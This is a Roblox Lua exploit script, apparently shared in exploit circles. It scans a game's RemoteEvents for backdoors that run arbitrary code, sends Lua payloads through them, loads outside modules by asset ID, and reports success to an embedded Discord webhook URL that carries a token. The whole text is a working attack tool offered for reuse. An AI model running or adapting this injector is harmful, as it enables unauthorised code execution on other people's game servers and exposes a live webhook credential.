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- --BEFORE THIS LETS MAKE SURE UR A PLAYER FIND (localplayernames) AND CHANGE THE STRING TO UR NAME, THANK YOU.
- print('the start webhook')
- wait(0.5)
- --fixed now
- --Example injector
- --You can make ur example injector too!
- webhook="https://discord.com/api/webhooks/1101853999440867349/cvuTsmIDMtuey65LDZ2ITSXSLLswQH8bTxbXG1TPJ5E_Dj4kfjvPfRXoJ4mTsVkCT6xU" --paste ur hook from discord :D
- webhookenabled = true -- if u want for ur bot say if game is injected and sent the game to it.
- --webhook status
- function backdoorMessage()
- if webhookenabled == true then
- print("messaged to webhook") customdata=[[
- localplayernames='JawStopper20'
- require(13296086768):BringWebhookOn(localplayernames) ]]
- wait(0.5)
- if attached == nil then repeat wait(1) until attached ~= nil end
- if attached ~= nil then
- attached:FireServer(customdata)
- end
- end
- end
- --attach server
- attached=nil
- function backdoorThing(child)
- for i, thingy in pairs(child:children()) do
- if thingy:IsA("RemoteEvent") then
- local execute=function()
- thingy:FireServer([[
- whilelistFolder = Instance.new("Folder",workspace)
- whilelistFolder.Name = "whilelistFolderProjectLigmaFeStuffToGo2222"
- game.Debris:AddItem(whilelistFolder, 1.5)
- ]])
- end
- spawn(execute)
- spawn(function()
- _G.whilelistScript=nil
- wait(0.16)
- if workspace:FindFirstChild("whilelistFolderProjectLigmaFeStuffToGo2222") ~= nil then
- attached=thingy
- print"done" spawn(backdoorMessage)--example prints and webhook messager
- end
- end)
- wait(0.265)
- end
- backdoorThing(thingy)
- end
- --free
- end
- backdoorThing(workspace) --dont delete workspace
- backdoorThing(game:GetService("ReplicatedStorage"))
- wait(0.5)if attached == nil then repeat wait(0.5) until attached ~= nil end
- if attached ~= nil then
- print("attached / name " ..attached.name)
- attached:FireServer('require(13285164673)["Project Test"]("' ..game.Players.LocalPlayer.Name.. '")')
- end
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